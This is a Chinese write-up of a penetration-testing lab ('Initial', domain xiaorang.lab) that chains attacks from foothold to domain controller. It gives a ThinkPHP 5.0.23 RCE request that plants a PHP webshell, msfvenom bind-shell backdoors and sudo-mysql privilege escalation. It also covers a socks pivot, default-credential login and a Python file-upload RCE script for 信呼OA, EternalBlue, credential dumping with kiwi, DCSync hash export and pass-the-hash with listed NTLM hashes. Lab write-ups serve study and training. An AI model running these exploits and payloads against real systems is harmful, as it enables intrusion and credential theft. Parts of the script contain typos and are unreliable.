Initial


Initial

flag1

先用fscan扫一下

./fscan  -h 39.99.138.127 -nobr(-nobr设置不爆破弱口令)

172.22.1.15

扫出来有poc-yaml-thinkphp5023-method-rce poc1

【RCE | BUUCTF】ThinkPHP 5.0.23 远程代码执行漏洞复现 - –Kisaragi– - 博客园

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id #传入的参数

echo '<?php eval(\$_POST[cmd]); ?>' > /var/www/html/webshell.php

msf连接

但是蚁剑的shell不好用,用msf再建立一个连接,也方便后续流量转发。因为我们已知公网ip,于是用正向shell.

先本地生成一个正向shell的64位后门

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=7654 -f elf -o 7.elf

7.elf拖到蚁剑上然后赋权

chmod +x 7.elf     +x 表示给所有用户(所有者、所属组、其他用户)添加可执行权限(777过就不用了)
chmod +x filename(给所有用户添加执行权限)
chmod u+x filename(只给所有者添加执行权限)
chmod g+x filename(只给所属组添加执行权限)


chmod 777 7.elf
./7.elf

777 是数字权限表示法,三个数字分别对应文件所有者、所属组用户和其他用户的权限
每个数字的含义:4 代表读权限(r),2 代表写权限(w),1 代表执行权限(x)
7 是 4+2+1 的总和,表示同时拥有读、写、执行三种权限

接着用msf即可

use exploit/multi/handler
#加载 Metasploit 的 "多用途处理器" 模块,这是一个监听模块,用于接收来自#目标主机的反向连接或绑定连接。
set payload linux/x64/meterpreter/bind_tcp
#设置攻击载荷(payload)为linux/x64/meterpreter/bind_tcp:
#linux/x64:针对 64 位 Linux 系统
#meterpreter:一种高级交互式 shell,提供文件操作、进程控制等功能
#bind_tcp:绑定连接模式(目标主机开放端口等待攻击者连接,与反向连接#reverse_tcp对应)
set rhost 39.99.138.127
#设置rhost(远程主机)为目标 IP 地址,即要连接的受害主机 IP。
set lport 4567
#在bind_tcp模式下,lport实际是目标主机开放的端口(攻击者将连接到该端口)。
run
#执行监听,等待与目标主机的bind_tcp载荷建立连接,成功后获得 #meterpreter 会话。

即可创meterpreter 会话。

传完后来拿flag.

sudo -l


Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql
    当前 www-data 用户在 ubuntu-web01 主机上拥有以下 sudo 权限:可以以 root 用户身份执行 /usr/bin/mysql 命令;NOPASSWD 标志表示执行该命令时不需要输入密码。

sudo mysql -e '\! find / -name flag*'
  1. 以 root 权限启动 MySQL 客户端(因为 www-data 用户有 NOPASSWD 权限执行 mysql

  2. 在 MySQL 客户端中执行 \! 命令,这会调用系统 shell 执行后面的命令

  3. 实际执行的系统命令是 find / -name flag*(全局查找文件名以 flag 开头的文件)

  4. 在 MySQL 客户端中,-e 是执行命令的参数,用于在非交互式模式下运行 MySQL 命令并退出。

    \! 是 MySQL 客户端中的一个特殊命令,作用是执行系统 shell 命令

sudo mysql -e '\! cat /root/flag/flag01.txt'


flag{60b53231-
sudo 提权

sudo(Superuser Do)是 Linux 系统中用于以其他用户身份(通常是 root 身份)执行命令的工具 ,其核心配置文件为 /etc/sudoers ,管理员可通过 visudo 命令(安全编辑该文件,可避免语法错误导致权限问题)进行权限分配。比如配置 user1 ALL=(root) NOPASSWD: /usr/bin/apt-get ,意味着用户 user1 无需输入密码,就能以 root 权限执行 apt-get 命令 。

当发现某用户克用sudo运行某些命令,可以利用这些命令提权到root

sudo /usr/bin/vim

如果vim可以用sudo运行,就能在vim里执行:!sh获取root shell

SUID 提权

原理:SUID(Set User ID),是一种文件权限位,允许普通用户以文件拥有者(通常是 root)的身份执行该程序。SUID 权限标志为 s,例如 -rwsr - xr - x。只需执行程序,无需输入密码。

利用方式:先查找系统中的 SUID 文件 find /-perm - 4000 2 > /dev/null,

如果某些程序(如 python、vim、perl、find、bash 等)具有 SUID,并且本身可逃逸为 shell,则普通用户运行时会直接获得 root 权限。比如,若 /usr/bin/vim 有 SUID 权限,你用普通用户运行 vim,执行 :!sh,就是 root shell;也可以利用 SUID 程序的漏洞提权(比如 SUID 的 C 程序有命令注入)。

例如,系统中的 /bin/passwd 文件,其所有者是 root,并且设置了 SUID 权限。普通用户执行 passwd 命令来修改自己的密码时,实际上是以 root 权限来访问和修改 /etc/shadow 文件(该文件只有 root 用户才有读和写的权限) ,从而实现密码修改。

检测方法:

在 Linux 系统中,可以使用以下命令来查找设置了 SUID 权限的文件:

find / -perm -u=s -type f 2>/dev/null

其中,/ 表示从根目录开始查找;-perm -u=s 用于筛选出设置了 SUID 权限的文件;-type f 限定查找的对象是普通文件;2>/dev/null 则是将错误信息(比如没有权限访问某些目录而产生的报错)重定向到 /dev/null ,即忽略错误信息。

利用方法
  • 利用可逃逸为 shell 的程序

    :如果某些常见程序(如 vimfindbashperlpython 等)被设置了 SUID 权限,并且这些程序具备一定的特性,能让用户从中逃逸并获取到具有高权限的 shell,就可以实现提权。

    • vim 示例:当 /usr/bin/vim 拥有 SUID 权限时,普通用户打开 vim,然后执行 :!sh ,就能得到一个 root 权限的 shell。这是因为 vim 在执行外部命令时,会继承自身的权限,而此时 vim 具有 root 的 SUID 权限,所以执行的 shell 也拥有 root 权限。
    • find 示例:当 find 程序被设置了 SUID 权限,普通用户可以执行类似这样的命令 find . -exec /bin/sh \; -quitfind 命令的 -exec 选项可以让它在找到的文件上执行指定的命令,这里执行 /bin/sh ,由于 find 具备 SUID 权限,从而得到 root 权限的 shell。
sudo 提权 SUID 提权
配置 由 /etc/sudcers 管理 由文件权限(SUID 位)管理
认证 通常需要密码(或 NOPASSWD) 不需要密码
入口 用 sudo 执行指定命令 直接执行 SUID 程序
灵活性 sudoers 精细控制命令粒度 SUID 只控制程序本身
安全性 更安全,日志健全 一旦配置错误风险极大
常见利用 sudo 结合能逃逸的程序 SUID 结合能逃逸的程序

flag2

看一下网段
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.1.15  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::216:3eff:fe16:c270  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:16:c2:70  txqueuelen 1000  (Ethernet)
        RX packets 697240  bytes 381845267 (381.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 534548  bytes 209973517 (209.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 35960  bytes 16528880 (16.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 35960  bytes 16528880 (16.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可看到是172.22.1.15。

上传fscan

chmod +x fscan
./fscan -h 172.22.1.0/24 >mao.txt         (默认是在result.txt)

./fscan -h 172.22.1.0/24 >mao.txt 这个命令里,172.22.1.0/24 是一种CIDR(无类别域间路由,Classless Inter-Domain Routing)表示法,用于标识一个 IP 地址段 ,具体含义如下:

172.22.1.0 是这个网段的网络地址 ,它是该网段的起始标识,在网络中代表这个特定的网络区域。

/24 表示子网掩码中二进制的 1 的位数 。在 IPv4 地址中,IP 地址由 32 位二进制数组成,子网掩码用于区分网络地址和主机地址 。

  • 子网掩码换算/24 意味着子网掩码中有 24 个 1,8 个 0 ,用点分十进制表示就是 255.255.255.0

  • 可分配主机地址范围计算

    • 对于 172.22.1.0/24 这个网段,网络地址是 172.22.1.0 ,广播地址是通过将主机位全部置为 1 得到,即 172.22.1.255
    • 可用于分配给主机(如服务器、电脑、网络设备等)的 IP 地址范围是 172.22.1.1172.22.1.254 ,一共可以容纳 2^(32 - 24) - 2 = 254 个主机地址 。减去 2 是因为要去掉网络地址和广播地址,它们不能分配给具体的主机使用。

fscan 这款综合扫描工具中,使用 172.22.1.0/24 ,就表示让 fscan172.22.1.1172.22.1.254 这个范围内的所有 IP 地址进行扫描 ,扫描结果会通过 > 重定向到 mao.txt 文件中保存。

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2      is alive  DC域控
(icmp) Target 172.22.1.21     is alive   MS17-010永恒之蓝
(icmp) Target 172.22.1.15     is alive   本体
(icmp) Target 172.22.1.18     is alive   信呼OA系统
[*] Icmp alive hosts len is: 4
172.22.1.18:445 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:3306 open
172.22.1.18:139 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:135 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.2:88 open
172.22.1.15:8001 open
172.22.1.15:22 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] OsInfo 172.22.1.2	(Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[+] MS17-010 172.22.1.21	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 15/15
[*] 扫描结束,耗时: 15.122671303s

后门端口从54522开始,流量转发端口从55555开始

socks5流量转发

cd "/mnt/d/软件工具/渗透/tools/tools/Stotaway-bin/Stotaway-bin"

用stowaway开一个stocks5服务。让ubuntu上的流量通过“stowaway”走到172.22.1.15,只要再配置好浏览器代理,我们就可以访问172.22.1.15同一内网下别的主机提供的web服务了。同理,蚁剑,msf等攻击流量也可以走socks5,攻击内网里其他主机。

topo
use 0
socks 12345

这是在ubuntu开了123456的socks服务器,然后转发到0上,因此还需对浏览器/蚁剑/proxychains设置代理,将攻击流量转到12345端口。

vim /etc/proxychains4.conf

socks5  127.0.0.1 12345(要注释掉不需要的代理)

测试链接:

proxychains4 curl -v http://172.22.1.18/?m=login

成功返回网页html的话,说明流量转发成功。

./linux_x64_admin -c 39.99.138.127:7879 -s 123

chmod +x 文件名                                  增加权限
chmod 777 文件名                                   给所有用户加权限

/var/www/html/linux_x64_agent -l 7879 -s 123

topo
use 0
help
forward 8084 172.22.1.18:80(映射)

172.22.1.18

172.22.1.18是信呼OA,发现有弱密钥登陆admin/admin123

/#信呼安装后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456

信呼v2.2.1文件上传漏洞复现 - 钎劫 - 博客园

如图filecontid为17,即访问task.php?m=qcloudCos|runt&a=run&fileid=17

一开始的图片为上传路径

upload/2025-07/31_21454761.php?1=system("whoam");

还可以

import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '/?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?m=upfile&a=upload&d=&public=1&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qc1oudcos&runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'type': '0',
    'adminuser': 'yWwtaW4=',
    'adminpass': 'yWwtaW4xMjM=',
    'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.up temp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qc1oudcos&runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir')")
print(r.text)
print(r1filepath)

用 proxychains 跑脚本

proxychains4 python3 2.py

以同样方式生成后门并链接后门

然后本地生成一个正向shell的windows的64位后门
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8765 -f exe -o 77.exe
然后蚁剑上传
配置msf

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.1.18
set lport 8765
run

172.22.1.21

flag3

因为扫出127.022.1.21有永恒之蓝,所以用proxychains和msf直接打

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法-CSDN博客

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

直接获得shell

还可以ms17_010_command,这里还需要一些参数,我们去18那个机器拿,因为18机器运行gituid后发现为system权限,所以可以利用kiwi模块(使用kiwi模块需要system权限),然后用creds_all获取所有凭证
load kiwi
creds_all


Username        Domain    NTLM                              SHA1
--------        ------    ----                              ----
Charles         XIAORANG  f6a9881cd5ae709abb4ac9ab87f24617  99439e2268d0f5063928f523d5d44c8d69be7e34
XIAORANG-OA01$  XIAORANG  dc5f050393a7cc83e0518b8015b8b65d  fc0612848c69ce0b4f2afc76e506289e4bc97bd8
XIAORANG-OA01$  XIAORANG  d87c972fc49ec955dd227c1c1ec1beff  e33a635b6cc6c39931023ed2b49805207d7cf57e

这里我们通过XIAORANG-OA01$的NTLM进行伪造,注意,两个NTLM都试一遍,有一个是失效的,同时设置smbpass由于格式为LM:NTLM,但是LM不重要,所以用0填充

proxychains msfconsole
use auxiliary/admin/smb/ms17_010_command            (search ms17_010_command)
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.1.21
set smbpass 00000000000000000000000000000000:d87c972fc49ec955dd227c1c1ec1beff
set smbdomain XIAORANG.LAB
set smbuser XIAORANG-OA01\$
set commond whoami
exploit

后续可以利用SMB等方法将后门发上传上去后远程执行即可获取meterpertre

172.22.1.2

然后进行DCSync攻击

DCSync利用原理:
利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

要想使用 DCSync 必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户

我们回到一开始 fscan 的扫描结果,我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件

  1. load kiwi
  • 作用:在 Meterpreter 会话中加载 Kiwi 模块(Mimikatz 的 Metasploit 集成版本),该模块用于抓取系统密码、哈希值、票据等敏感信息。
  • 前提:需要获得系统的管理员权限(通常是 SYSTEM 权限)才能正常加载和使用。
  1. kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
  • 这是通过 Kiwi 模块调用 Mimikatz 的

    lsadump::dcsync

    命令,主要用于从域控制器(DC)同步用户凭证信息:

    • lsadump::dcsync:利用域内复制机制(DCSync)从域控制器提取用户哈希等信息,无需直接在 DC 上执行命令。
    • /domain:xiaorang.lab:指定目标域为xiaorang.lab
    • /all:提取域内所有用户的信息。
    • /csv:以 CSV 格式输出结果,便于后续处理。
导出域内哈希
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  fb812eea13a18b7fcdb8e6d67ddc205b        514
1106    Marcus  e07510a4284b3c97c8e7dee970918c5c        512
1107    Charles f6a9881cd5ae709abb4ac9ab87f24617        512
1000    DC01$   4e5dbcda5175afea09f2af7c2026a595        532480
500     Administrator   10cf89a850fb1cdbe6bb432b859164c8        512
1104    XIAORANG-OA01$  d87c972fc49ec955dd227c1c1ec1beff        4096
1108    XIAORANG-WIN7$  95d6ad215e1b8d5b63ba9726e9e556b6        4096

获得了Administrator的hash,再利用crackmapexec进行hash传递(PTH:pass the hash)即可

proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

/#还是proxychains4自己看看


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录